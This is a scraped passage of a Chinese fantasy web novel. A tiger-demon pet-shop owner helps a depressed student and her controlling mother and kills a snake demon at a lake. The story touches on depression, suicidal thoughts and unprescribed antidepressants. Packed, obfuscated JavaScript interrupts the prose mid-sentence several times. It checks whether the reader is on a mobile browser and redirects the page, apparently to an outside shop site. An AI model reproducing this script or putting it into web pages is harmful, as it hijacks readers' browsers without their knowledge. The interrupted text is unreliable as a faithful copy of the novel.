d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713562|144676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “它还认你是主人,一举一动,都要你同意。”何甜索性将碗放在地上:“都吃了吧。” 李寅寅笑笑:“其实它就是习惯了,自己给自己设的一个规矩,如果它自己愿意打破这个习惯就会发现,很多事情它不经过我同意去做,也没什么大不了的。” “是啊……已经把自己套住了,跳不出来了……”何甜轻轻叹了一口气,又摸了摸小多的头。 发现它已经把碗里的水果吃得干干净净。 何甜摸了摸它兴奋摇晃的尾巴:“你是真喜欢啊……如果我像你一样就好了,大家都高兴。” 她闭了闭眼睛,精神肉眼可见的颓了下来:“对不起,我有点累了。” “嗯,好好休息吧。”李寅寅起身告辞,出来的时候顺便把吃光的两个碗都带了出去。 何官琼忙接过空碗,满脸笑容:“都吃完啦,怎么样?” “她挺好的,就是有点焦虑,是不是压力太大了?”李寅寅问道。 “嗐,现在的孩子就是脆弱,我们以前生活条件哪有这么好,要焦虑也就那么一会儿,考试前啊,没考好啊,就连高考也就紧张那么两三天,哪里就到要吃药的地步了……” 李寅寅看见桌上放着的药瓶,她的妖力探知那瓶药是抗抑郁的,但是它并不是所有类型的抑郁症患者都可以吃,有自杀倾向的人吃了以后会更加想死。 “这药有挺大的副作用,是医生开的?”李寅寅试探问道。 何官琼摇摇头:“我在网上查了,说这药能改善甜甜这种症状,就托人买了。不就是不高兴嘛,谁遇上不如意的事不都不高兴,哪里就要去看医生了,好好的人,去看精神科,要是传出去,以后找工作找对象都不好找……” “只要不主动往外说,哪那么容易就传出去了,还是去看看吧,药不对症对身体不好。” 李寅寅在人间这么些日子,已经见过好几个自己嘴上没把门,又喜欢把“要是传出去”挂在嘴边的人。 谁传的,不就是你们自个儿传的吗。 何官琼礼貌地笑笑:“再说吧……小多还是先留下来吧,我看甜甜是真的舍不得它,麻烦你了。” “没事,她喜欢就好,总是搬新地方,狗也会有应激反应。”李寅寅礼貌地离开了。 晚上,为了庆祝本店第一单生意有惊无险,没被退单,李寅寅带着大家去隔壁的正宗东北菜馆吃炖大骨。 冯墨是个社牛,他早已跟菜馆老板打得火热,老板见了他,热情的送了两瓶啤酒。 得知他们来吃饭的由头,老板当下也不管别的客人了,拉开椅子坐下来:“她们家啊,哎,把孩子逼成那样,生病是早晚的事。” 5. 第 5 章 老板一坐下来,源源不断的八卦就从这身高一米八,体重一百八的巨大话匣子里喷射出来。 “她家老公本来是跟她们住一起的,后来跟另一个女人跑啦,那个女人生了个儿子,她嘛,生女儿的时候受了大罪,以后也不能生了,男的说必须得有一个儿子,不然他父母死了都闭不上眼。” 乐乐正抓着大酱骨奋力地啃,闻言困惑地抬起头:“只有儿子才能缝眼皮吗?为什么没儿子就闭不上眼?” 老板笑道:“你还小,等你长大就懂了。” 他继续说:“后来还是离婚了,闹得很难看,男的说她读那么多书有什么用,还不是不下蛋的鸡,生个赔钱货还把自己给生废了。何大姐离婚当天就把女儿的姓给改了……当时大家都在气头上,男的一下子就签改姓同意书了,不然啊,她想改,还得求着男的同意。” “那会儿她们家甜甜正好小升初,本来能拼一下第一实验中学的,结果就上了三中,就是前几天打群架上新闻的那个……何大姐托人给她补课,天天盯着她,送她上学放学,生怕她跟哪个男同学搞早恋。” “那丫头还真牛逼,中考上了一个市重点,高考又考了全区第一,那个男的自己的儿子好像查出来有什么先天的病,反正就是智商不太高,男的就回来想跟何大姐复合,还说孩子要有一个完整的家才行,何大姐一个女人带孩子总归是不像样,听说他一出手就给了一百万,让何甜改回他的姓,何大姐没同意……” “两边又吵了一架,就在那边小花园!好多人都看见了,男的就说女儿跟着她,一辈子也就是个书呆子,读书好有什么用,何大姐大概是听进去了,又给报了好多兴趣班,什么游泳的舞蹈的射箭的,说一年要七八万,她到处给人上辅导班教书法画画赚钱,还开了一个国学班,把自己累个半死,我看那小姑娘也快累死了,大一那会儿还好,现在改走读,天天赶场子去上课,整个人半死不活的……” 老板越说越带劲,双眼放光,比手划脚,神态表情动作就像以前的说书先生。 直到老板娘站在他身后发出咆哮:“搁这偷懒呐!人不招呼、菜不端,一天到晚就知道胡咧咧!” “来了来了!你这么凶,吓到客人了。”老板嘿嘿一笑。 老板娘冷哼一声,刚要说什么,那边有客人招呼结账,老板娘马上应声“来啦!”,便脚下生风的跑过去。 老板仰头把半杯啤酒喝完,站起身:“有空再聊,再扯下去,我们家母老虎要发威了。” “她也是母老虎?”满嘴油的乐乐又抬起头,困惑地看着老板娘的背影。 老板笑道:“也?还有谁?” 薛姗把搁在一边的免费瓜子端他面前:“闭嘴!吃你的!” 老板仿佛领悟了什么,笑呵呵地跑到后厨帮忙去了。 “这母女俩真惨……”李寅寅摇摇头,她完全不能理解人类为什么会因为别人嘴里的评价要死要活,在她心里,变强完全是自己的事情,自己计算得失,考虑要不要为之付出。 因为别人,而且还不是一个好人,就把自己和自己的女儿逼成这样,很不划算啊。 · · 那天警察来的视频不知被哪位大神转发了一下,播放率爆涨,虎虎宠物店跟着迎来了一大波“游客”,她们的目标是冯墨: “狗狗~握手~真乖!” “狗狗站起来~呀,它真的会站起来。 “太乖了,跟视频里的一样。” 这对猫狗就是一对欢喜冤家,薛姗看着冯墨被迫营业的无奈模样,笑得比正午的阳光还灿烂,用只有他们能听到的声音叨叨:“趁你现在当红,身价高,赶紧卖了,让老板找着人,把事办完,飞升仙界,再回来接你。” 冯墨咬牙,瞪着薛姗,发出威胁的呜噜噜声音:“你怎么不卖,助力老板梦想!” 薛姗懒洋洋地舔着爪子:“只听说过一人得道,鸡犬升天,你们可以往后捎捎再飞升,我们猫当然是要跟主人一起走的。” 这些围观群众光看不卖,反倒堵了大门,李寅寅挤到包围圈中间:“不好意思,这狗不卖,它特别认主人,就算卖了也会跑回来。” “天呐,这不就是忠犬八公吗?更喜欢了。” “我也好想有这样的小狗狗~” 李寅寅不失时机地推销:“我们店里的狗狗都是这样的,特别忠心,特别听话,特别可爱!现在买,还送三次洗澡……” 宠物店的门又被推开,进来的是何官琼,她脸色苍白,神色惊惶,见到李寅寅,满眼希冀,好像见到了救命稻草:“何甜在不在你们这里?” 李寅寅摇头:“没来过,怎么了?” “她失踪了,我到处都找不到她,电话关机,也不在学校……”何官琼眼里的光消失了,她看起来摇摇欲坠,整个人都要崩溃了。 李寅寅眉头微皱:“小多呢?” “小多,也不见了……”何官琼全身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713563|144676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都在颤抖,“甜甜会不会是被人绑架了?我看到网上说现在好多人走在路上,跟人说几句话,就被迷晕了,醒来的时候,发现少了一个肾……” 说着说着,她双手捂脸,痛哭失声。 “你冷静一下,跟人说几句话是迷不晕的,要是人都绑了,也不可能只拿一个肾,那些都是瞎编的谣言。先不急,小多还在,要是绑架的话,肯定不会把狗也绑了,狗能闻味能记路,还会咬人,太麻烦。” 李寅寅扶着何官琼坐下:“报警了吗?” “报了,他们说甜甜已经成年了,又没有证据是被绑架的,要过二十四小时才能立案……怎么办啊……” 李寅寅怔了怔:“什么时候发现甜甜不见的?” “三个小时以前,她说出去遛狗,到现在都没回来……呜呜呜……” 李寅寅:“……这个确实有点短,不过我先帮你找找吧……墨墨。” 冯墨摇着尾巴颠颠的过来了,何官琼见到它,眼中绽放出希望:“啊呀,我怎么没想到呢,它能闻味儿找啊!我这就回去拿甜甜用过的东西。” “不用。”李寅寅对冯墨说:“去找小多。” 冯墨眨眨眼睛,转身出门。 何官琼惊叹道:“它能听懂?!” “能的,它能听懂很多指令。” 何官琼马上站起身,要跟着冯墨走,转头见李寅寅还悠哉游哉地坐在沙发上,没有要起来的意思,大为不解:“你不一起去吗?” “不着急,等他找着了发个定位就行。”这大热天的,李寅寅可不想出去晒太阳,万一已经跑很远了,不如等知道位置以后,坐出租车过去。 何官琼睁大眼睛:“它……发定位?” 店里听见对话的其他客人也震惊地转过头:“它还会发定位?它是阿尔法狗吗!” 发现自己不小心说漏嘴,李寅寅忙解释:“它脖子上有一个ITAG,实时发送定位信息,它要是在一个地方停下来不动了,就说明找到人了,我们再过去也来得及。” 何官琼:“可是,狗不能自己出门吧?你不是说它认主,我怕它不听我的。” “嗯……啊……哦……”李寅寅终于想起来,在城市里,遛狗不拴绳,是要被罚款的,还挺贵。 她看着窗外天空中挂着的巨大火球,认命站起身:“走吧。薛姗,帮我看着店,别乱跑。” “放心去吧~”薛姗懒洋洋地斜倚在桌边,向李寅寅挥挥手。 6. 第 6 章 如果没有何官琼在一边,冯墨只要几秒就能找到何甜。 但是,不得不考虑到普通人类对于一只狗奔跑速度的常规认知,免得造成骚乱。 冯墨像一只标准的狗,在这嗅嗅,在那嗅嗅,慢慢靠近目标。 “它闻到了?会不会是弄错了?” “是不是那个方向啊,平时我们都不走这的。” “甜甜怎么会往这走,是不是被人绑架的?” …… 此时的何官琼跟此前冷静优雅从容的知性女子判若两人。 短短一分钟,她整个人就像惊悚恐怖片负责烘托气氛的NPC,嘴里一直在叨叨,而且说的几乎都是不吉利话。 热爱上网的李寅寅知道,这是悲观思维的人类给自己的一种心理暗示,觉得只要自己把情况想得很糟糕,就不会有超出自己预期的事情,等结果真摆在面前的时候,就不会受到太大的冲击。 道理,都懂。 但是跟在一边听着,就觉得很烦。 谁都不乐意跟着一个一直低气压、满嘴丧气话的人在一起,李寅寅也不例外。 所以,她决定干一件有出息的事,她缓缓抬起手…… 走在李寅寅前面的何官琼忽然毫无征兆地软软倒下去,冯墨及时化身人形,将她扶住。 “老板,这样真的可以吗,以妖力伤人,不会被天打五雷轰吗?”冯墨担忧地抬头望天,准备随时逃到有避雷针的高楼里躲起来。 天地法则,讲究的是一个平衡。 太过逆天的力量会被天道回收。 系统有BUG但能跑,大家都能忍,要是系统有BUG把服务器给拖死了,这谁能忍得了。 然而,此时晴空万里、阳光灿烂、一颗大火球挂在天上热力四射,没有一丝云彩。 “谁伤她了,我什么都没干!”李寅寅很冤枉,她确实想干点什么,可是刚抬起手,何官琼自己就倒下去了。 冯墨若有所思地看着她,露出恍然大悟的神情:“不愧是老板,修为已经能骗过天道!” “我不是,我没有,别乱说!”李寅寅否认三连,“先把人送医院去。” 冯墨露出崇拜的眼神:“对对对!做戏要做全套,老板深谋远虑!这样就算天道将来复查,也抓不到您一丝把柄,还能算您救人积攒了功德。” “你的话太密了!”李寅寅忍无可忍,何官琼不说话了,怎么这只狗的话这么多。 冯墨马上听话地闭上嘴,扶着何官琼,闪身去了医院急诊,李寅寅让他在这里盯着:“我去看看何甜到底在干什么。” 城中有座山,山中有一汪天然湖水,夏天的傍晚会有人过来游泳消暑。 现在正午的太阳让粼粼波光变得金光闪闪,亮得像要把人眼刺瞎,水里只有几个不知寒天暑热的小屁孩,穿着小短裤在水里扑腾。 湖边写着“禁止游泳,当心落水”的告示牌上,搭着几件小衣服小裤子,牌子下是几双童鞋。 年年都有人在水里淹死,年年都有人过来游。 管理部门立了“禁止游泳”的告示牌和横幅。 告示牌成了晾衣架,横幅也被人拉扯下来,成了用来垫屁股的坐垫。 来这里游泳的人个个自诩水性一流,根本不听劝。 年年都有人在水里淹死,年年都有人下水游泳。 何甜来的时候,那几个小屁孩刚刚脱衣下水,她劝了一句说这里危险。 其中一个男孩骄傲地一抬头:“不危险,淹死的都是不会游泳的,我游得可好了!” 他们嘻嘻哈哈下了水,何甜找了一个荫凉的地方坐下。 水花飞扬,孩子们的笑声在山林间回荡,何甜看着他们快乐的模样,想起自己上小学的时候,是喜欢游泳的,也会背着父母和同学一起跑到这个湖里玩,后来的夏天,她偶尔也会去游泳池里划拉几下。 父母离婚后,忽然有一天,妈妈回家说给她报了一个游泳班,还说你不是喜欢游泳吗?学就得学出个样子,玩也要玩出个彩头,要是不考级不拿名次,你游泳有什么意义? 放松、开心,这些都不是意义……妈妈不允许她把时间用在任何没有意义的事情上面。 她想反抗,可是每次到这种时候,妈妈都会红着眼睛对她说:“女孩子在社会上立足不容易,只有比男孩子更强,你的努力才能被看到,你只有成为顶尖,你才会有机会实现自己的梦想。” 梦想……何甜轻轻叹了一口气,她不知道自己有什么梦想,她根本就没有自己做决定的机会,就连大学报的专业,都是妈妈专心研究了几个月,横向比较,纵向比较,最终为她选定的大学和专业。 将来不容易被淘汰、考公考编有优势、越老越值钱……每一条都非常有道理,只是,现在这个专业,她真的一点都不喜欢,但是,她也不知道自己喜欢什么专业,何况已经读到大二了,只能凑合读下去。 何甜靠在身旁的老歪脖子树上,又想起自己的父母,以及还有几个已经相敬如“冰”,貌合神离的亲戚,似乎大家都跟自己一样,没那么喜欢,也没有分开的理由,还有利益牵扯,就凑合过。 又要回家了,又要回学校了,还有那么多课在等着,还有要考级的项目,要比赛的项目、如果比赛没有拿到前三,回家又要面对妈妈失望的眼神。 不能站在领奖台上,所有的付出都没有意义,妈妈只看结果,她曾经讲过很多史上轰轰烈烈,最后失败的故事,结论永远都是一个:没有人关心你的过程,拿不到结果,过程再好看都没用,拿到结果,你不管用什么手段,都会有人替你糊裱。 拿了院系奖学金,妈妈会问为什么没有拿到国家奖学金。 参加了导师项目,妈妈会问这个项目在国际上有没有影响,有没有可能发一作论文…… 如果答案不符合妈妈的预期,她就会很失望。 妈妈不需要说什么,只需要叹一口气,还有用那种眼神看着何甜,何甜就会非常难受,觉得自己是个废物,辜负了妈妈一个人含辛茹苦把她拉扯到现在的付出。 孩子们欢乐的笑声、青草的香气、湖面上微风的清凉,让何甜越发觉得难受。 好像天地间,只有她一个人是废物,什么都做不好。 好累,活着真没意思……好烦啊…… 一股难以言喻的烦躁从心底涌上,根本压抑不住,她重重地揪住自己的头发,从头皮传来的一阵阵疼痛感,才能让稍稍平复。 始终守在她身边的小多反应极快,整个身子钻到何甜的怀里,用头把何甜抓头发的手给顶开,两只前爪用力扒拉着何甜的双手,企图将她的手压住,不让她再伤害自己。 何甜烦躁地伸手将小多推开,小多退后一步,又凑了过来,紧贴在她的怀中,两只爪子搭在她的胳膊上,坚定地不肯挪开。 被小多这样抱着,何甜渐渐恢复了平静,她搂住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713564|144676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小多的脖子,重重吐出一口气:“小多……” 湖面传来了孩子们吵闹的声音: “走了走了,我妈叫我了。” “我也得走了,作业还没写呢。” “吴益华,走啦!” “你在干嘛?” “我得先走了,不然我妈要骂我了。” 孩子们纷纷游上岸,胡乱在身上抹一把,就套上衣服各自离开,只有一个孩子还站在岸边嚷嚷:“我跟我妈说是到你家玩的!再不走我妈就要往你家打电话了。” “吴益华!” 在湖中间,有一个十一二岁的少年沉在水中,身体笔直,双臂贴在身体两侧,他睁着眼睛,一动不动,头微微仰起,好像只是在看着岸边的树梢。 何甜陡然站起来,这是溺水! 电视剧里人掉进水里会鬼哭狼嚎,大声呼救,现实里有很多人的溺水,就是这样静静的、一动不动,直到沉下去。 何甜飞奔到湖边,将鞋一甩,便一个猛子扎下去,向吴益华游过去。 当她抱起吴益华的腰,把人往上托,好让他的口鼻露出水面,然后又拉着他的胳膊往岸边游。 阳光把水面照得很烫,但是腰部以下的水温,就明显低了许多,这样会造成腿部抽筋,这也是为什么这里年年死人的主要原因。 吴益华整个人处于僵直状,没有像传说中的溺水者那样,会抓着救援者一起拖下水。 但是,游了没一会儿,何甜就感觉不对了,总觉得水下有东西抓着她的腿,用力把她往下拉。 她用力踢蹬,却只能碰到几丝软软滑滑的东西。 一定是湖里的水草! 不能慌、不能慌…… 何甜深呼吸,稳住心神,双腿猛然用力,被缠住的双腿获得了自由。 “扑通”留守在岸上的小多也跳下水,向何甜游过来,它昂着脑袋,游泳姿势像在水里走路,有点笨拙,但非常努力,坚定地向何甜游过去,它低下头,将吴益华驮在背上,让何甜顿时轻松不少。 水底的水草丛中一双眼睛恨恨地盯着三人离开的身影:“这么喜欢多管闲事,今天你们就都留下吧!” 何甜明显感觉到水底的暗流突然变得汹涌,水面甚至出现了一个小小的漩涡。 巨大的吸力将两人一狗往水底卷。 何甜再会游泳,也经不住湖水直接封住口鼻,匆忙间,她还呛了一口水,还没来得及憋气,就被卷了下去。 站在岸边的孩子,由急到喜,又从喜到惊,不由得大声哭叫起来。 不知从哪儿传来一声惊天动地的虎啸,那孩子双眼圆睁,怔怔地盯着前方,一动不动。 “找替身就找替身,你一个要找三个是想怎样?囤盐的人都没你这么积极。”李寅寅从林中走出来,满脸的嫌弃。 水中浮起一个巨大的黑色蛇影,弯曲的身体上裹着紫色长袍,蛇身之上,竟是两个人头,头上戴着红色的帽子。 它高傲地看着李寅寅:“区区一只连伥鬼都没有的虎妖,也想多管闲事?” “哟,这不是延维吗?多年不见,怎么这么拉了?诸侯不供养你了,你就自己养了一群臭哄哄的水鬼,怎么,想杀进天庭,夺了尊位,你自己当天帝啊?”李寅寅的语气充满嘲讽。 “小妖找死!”延维瞬间变了脸色,掀起湖面巨浪,向李寅寅扑去。 李寅寅冷笑一声:“来啊!互相伤害啊!” 7. 第 7 章 湖水被延维巨大的身躯搅动,被掀起的浪头如同一堵透明巨墙,平推横扫湖中一切生灵,甚至数十斤的大鱼都被活活拍死,被掀到岸边。 小多驮着吴益华,叼着已经神识不清的何甜,奋力向岸边游去,浪头就在它身后,越移越快,眼看着就要拍下来。 “吼!!!”一声惊天动地的虎啸让山中树木不住摇晃。 如同灭世洪水一般的滔天巨浪,在这一啸之后,骤然停下,从吞噬天地到静止不动,就那么一瞬间,连 浪头如同春天消融的冰雪,从十几米高,不断缩小缩小再缩小,最后只剩下约摸巴掌那么高,这才继续流动。 水流拍在小多的屁股上,将已经快要力竭的金毛给推上岸。 见人已上岸,延维大怒:“受死吧,虎妖!” 巨大的蛇尾挟破空之声,向李寅寅抽去,若是被砸个正着,十个李寅寅并排站着,都要被拍在泥里,抠都抠不出来。 可她只是站在原地,平静地仰头,望着直径约摸有数十米的巨大蛇尾向自己的脑袋拍下来。 好像被吓傻了。 眼见着李寅寅一动不动,还没来得及甩干毛的小多“汪”的一声蹿了过来,一口咬住李寅寅的裤脚,奋力想要把她往旁边拖。 蛇尾的阴影已经完全将李寅寅和小多笼罩住,只差最后一点,李寅寅嘴角扬起,从手中散出数道璀璨白光,向那条蛇尾激射而去。 光芒像是有生命一般,无声无息地钻进覆着厚厚黑色蛇鳞的蛇尾。 从蛇尾开始,白色的光束从蛇尾向上,次第从鳞片的缝隙中穿出,如同夜晚的探照灯那般刺眼。 延维那两个人头同时露出不敢置信的表情:“你……你不是虎妖,你到底是什么东西……” “素质真差,死前还骂我!”李寅寅撇撇嘴,手指微动,延维的身体瞬间被白光笼罩。 延维最后发出一声不甘的嘶吼,天空与大地都被震动,它化成一团白色光柱,直冲云霄,片刻后血肉从空中落下,洒在湖中。 就连湖边树木的叶片也难逃一劫。 好消息是:延维的血几乎没有颜色,也没有什么味道。 坏消息是:它很粘。 李寅寅蹲在湖边,捡起一块石头,扬手扔进湖里。 石头就像被扔进八宝粥里的一颗枣,半天才沉下去一点。 她盯着湖水看了半天,又看着在场唯一还清醒的生物小多:“对于眼前这个问题,你有什么处理方案?” 小多的脑袋上缓缓冒出一个问号,它歪着脑袋,困惑地说:“我什么都不知道,我只是一只小狗狗。” “啧,小小年纪就对自己的要求这么低,就是不会做,才要多锻炼,我很看好你,对你抱有非常大的期待……喂喂,怎么跑了。” 不听谣、不信谣。这种大饼,只有愚蠢的人类才会信。 小多根本连听都不听,摇头摆尾地跑到何甜身边,用力舔着何甜的脸。 何甜醒来的时候,周围全是警察。 是李寅寅报的警。 其实,她可以神不知鬼不觉的把这事摆平,何甜、吴益华和另一个孩子只会以为自己昏过去了一会儿,什么都不记得。 不过,她想要搞一个新闻,字面意义上的新闻。 观察室里,有一个老头手里拿着个老人机,外放新闻视频: “今天下午,有一名男童在落仙湖不慎落水……女大学生何甜挺身而出,将孩子从死亡线上拉回。 落仙湖是本市市民夏日消暑胜地,但湖中水情复杂,湖底有水草与暗流,水层温差极大,多年来,已有数十人溺亡……” 坐在他对面,正在挂水的何官琼忽然坐直了身子,眼睛直勾勾地盯着老头,把他吓了一跳。 她的声音都在颤抖:“它说什么,女大学生叫什么名字?!” 本地人谁不知道落仙湖年年死人的名声,大多数有孩子的父母都会警告孩子不准去落仙湖游泳。 新闻里还播出了对李寅寅的采访。 “……当时的情况特别凶险,何甜的腿被水草缠住,动也动不了,是她养的狗先跳下水,把那个孩子和她一起拽上来的……我就帮了一点小忙,主要靠狗反应快……” 李寅寅把整件事描绘得异常惊心动魄,堪比泰坦尼克撞冰山、大白鲨在水下亮出利齿要吃人。 何官琼越听越害怕,新闻后面又说何甜被救上来以后昏迷不醒,她当下就要拔了针头往外跑,被守在一旁的冯墨拉住:“你要去哪儿?” “我要去找甜甜!” “别急,先问问人在哪儿。” 何官琼一怔,继而恍然大悟,懊恼地拍了一下自己的头:“啊对对对……我忘了。” · · 冯墨拨通了李寅寅的电话,得知何甜已经完全无碍,现在已经回家了。 一转头,刚刚还坐在躺椅上输液的何官琼不见了,向窗外一张望,人已经在医院大门口拉开出租车的门了。 冯墨:“!!!” 那两个孩子已经被家长各自接回家了,在他俩的记忆中,只是吴益华抽筋溺水,何甜和小多下水去救,也出现了危险,站在岸上的孩子也被吓晕,失去了意识。 等醒来,已经看到爹妈担忧又后怕的脸,他们也说不出什么来。 何甜也只知道自己的腿被东西缠住,李寅寅说是水草,她也毫不怀疑。 在她醒来之前,李寅寅已经把她的英雌事迹重复重复再重复,本地报社、电台、电视台、网络媒体、自媒体……能发的都发一遍。 李寅寅甚至还能出示小多一拖二上来的片段,证明何甜是穿着普通衣服下水救人的,绝不是她也违规下水游泳,顺手救了个孩子。 “啧,这年头啊,真是麻烦,受害人得是完美受害人,好人也得是完美好人,不然还得跟人吵架。”李寅寅一边说,一边用虎虎宠物店的账号发送博文: “小多真棒,真不愧是我们店最优秀的学员!” 下面配了一些小多的训练照片,又是游泳,又是跳圈,又是走平衡木,还有开门、关门、倒垃圾、拿快递、做算术……充分展示了虎虎宠物店的专业培训技能。 当然这些都是刚刚摆拍的。 何官琼赶回家的时候,小多正叼着网球往何甜身边跑。 李寅寅坐在桌边疯狂敲电脑,一人回复十几个从官方账号找过来的客户咨询。 “甜甜!”何官琼整个人都虚脱了,摇摇欲坠,李寅寅赶紧将她扶到沙发坐下:“……怎么跑得这么急,冯墨呢?” 何甜赶紧给何官琼倒水,小多体贴地叼来了一个苹果。 “你没事就好……没事就好……”何官琼抱着何甜,大滴大滴的眼泪往下掉,“吓死妈妈了!要是你有事,我也不活了!” “没事,没事,吴益华的父母还说要给我送锦旗呢。”何甜拍拍母亲的背。 何官琼反手擦了擦眼睛:“下次你可不能干这么危险的事了,要是你出事,锦旗有什么用!” “要是我没了,说不定就是烈士了,你是烈属,到时候全国都会知道我是你的女儿,很光荣的。”何甜平静地说。 何官琼一怔,双手抱着何甜的肩膀,眼睛直直地盯着她:“你怎么会这么想?什么都比不上你!” “是吗?”何甜转开眼睛。 何官琼想像以前那样反驳她,转念一想何甜都已经说出“烈士”“光荣”这样的话,话里话外都透着一股死志,让她不得不考虑清楚再开口。 见母女俩之间的气氛变得不对,李寅寅起身走到何官琼身边:“刚才医生跟我说了一些溺水昏迷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713565|144676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后的注意事项,我已经跟她说过了,也想跟你说一下。” 何甜并不在意,她继续与小多玩着抛球接球的游戏。 李寅寅把何官琼拉到一边,压低声音对她说:“何甜救那孩子的时候,完全没想着自己,完全是用自己的性命去救人,就是那种一换一,她过得很不开心。” “她吃好的穿好的,还有什么不开心的,我们以前……”何官琼大惑不解。 李寅寅打断她的话:“不一样,不是所有的不开心都是有一个具体的事引发的,你知道吧,像她这种情况,可能是脑子出问题了,多巴胺分泌的太少,另外一种让人会变烦躁的东西,好像叫血清素,分泌的特别多。就是一种病,跟遇到什么事遇到什么人,没有关系……” 何官琼双眼圆睁,几乎失声叫了出来:“脑子?你是说甜甜得了精神病?!” “嗐,”李寅寅知道这是何官琼绝不愿意承认的病症,硬憋了个说法。 “不是精神病,内分泌失调罢了,别瞎想,女孩子感情丰富,青春期内分泌失调很正常,压力大的时候,月经也会受影响,有人脸上还会长痘,对不对,就是内分泌。” 李寅寅指了指桌上的药:“这药,就不要吃了,我在网上查了,会对内分泌更加不友好,最好带甜甜去医院看看,对症下药。 像这种病,有可能是脑子自己出的问题,也有可能是压力太大了。” 何官琼很委屈:“她有什么压力?我每天努力想办法挣钱,供她读书,供她上兴趣班,一天忙到晚,我也没有说苦。” 李寅寅用力点头:“可不是嘛,但是啊,苦和甜是要有对比的,一直过得特别好,就会觉得理所当然,你就让她过过自己想过的生活。 比如,要是她喜欢集体生活,那就让她住校嘛,听说大学是八个人挤一个宿舍,食堂菜也不好,洗澡、上厕所都得排队,不苦一苦,哪知道回家的幸福。 《甲方乙方》看过吗,那个尤老板,说想吃苦,还嫌村子里有鸡不算苦,真让他在村里待两个月,把人家村里的鸡都吃光了,还说要跟龙虾睡觉,这辈子都不要吃苦了……人性都是这样……” 李寅寅完全是站在何官琼的立场上为她着想,何官琼越看李寅寅越觉得她顺眼,说的话也是那么动听入耳。 “谢谢你啊,今天你救了甜甜,还跟我说了这么多……” 何官琼拿起手机,给李寅寅转账:“这是我的一点心意,你一定要收下。” · · “哇哦,一万块!”宠物店里的人稀罕地围着李寅寅的手机,这是本店自开业以来最大的一笔收入。 冯墨非常激动:“再去东北酱骨店吃一顿吧!我在医院待得难受死了,还得陪着她,我要一个人吃一盆!谁也不许跟我抢!” 第二天,吴益华的父母给何甜的学校送去锦旗。 第四天,市里决议,授予何甜“见义勇为公民”称号。 小多救主的视频也在网上被无数人转载。 有冯墨与小多两狗的广告效应,虎虎宠物店里的客人越来越多,甚至需要预约进店时间,避免店里人流量太大。 第六天凌晨一点,还在过丛林掠食者生活时间的李寅寅倍儿精神的数着今天的营业收入。 有人推门而入。 门口的鹦鹉都睡着了,没有及时喊出“欢迎广昂~~临”。 李寅寅起身相迎:“您好……???” 来人是个身材矮小,圆滚滚的男子,他穿着一身翠绿色的长衫,须发黝黑且一根根地支楞着,像电视剧里的张飞李逵,右手握着一把巨斧,长衫之下的脚,并没有穿鞋,露出的是一对尖尖的猪蹄。 他的眼睛很小,小得就像两个黑豆豆,莫名地有几分可爱,只是语气着实不善:“落仙湖的延维,是你杀的?” 8. 第 8 章 来人右手举着巨斧扛在肩上,左手插腰,那动作像极了“狮吼功”的前摇。 龙有吟,狮有吼,虎有啸。 眼前人不过是区区猪妖。 论吱哇乱叫的分贝量,高贵的虎妖还能输给他?! 李寅寅盯着来人,心里快速盘算着:要是他要跟着她对吼,她就把来人震晕,等愤怒的邻居们来投诉噪音扰民的时候,把这货拎出来交差,就说他半夜放炮,把自己崩晕了。 李寅寅好整以暇,等他出招。 他动了! 他的左手从腰间挂着的一只灰色布袋子里掏出一张纸,“嘭”的一声,狠狠拍在李寅寅面前的桌上:“现金还是扫码,快点,我还有别的事。” 李寅寅:“……” 这张纸的抬头是一行红字:白下市蒋山景区管理处 下面是一堆数字。 两个大项目: 水质治理费 植被保养费 每个项目下面还有人员工时、小时工资、加班工资、夜班费、营养费、精神损失费、水族治丧费用、树精草精治丧费用…… 总计五百万。 “不是,这什么账单啊,就往我这放?强行摊派是吧!我又不在你们景区里!”见对方不打算动手,李寅寅也决定选择文斗。 如果不讲规矩讲武力的话,她允许对方先动手。 主要是因为,如果对方不动手,她也不想先动手。 先动手有违天道,会损人和,也就是会被扣功德。 妖物身上都有初始功德值,要是功德给扣成了负数,那就会被天雷追着轰,不死不休。 至于初始值到底有多少,没有人知道。 甚至连是不是有初始值都不好说。 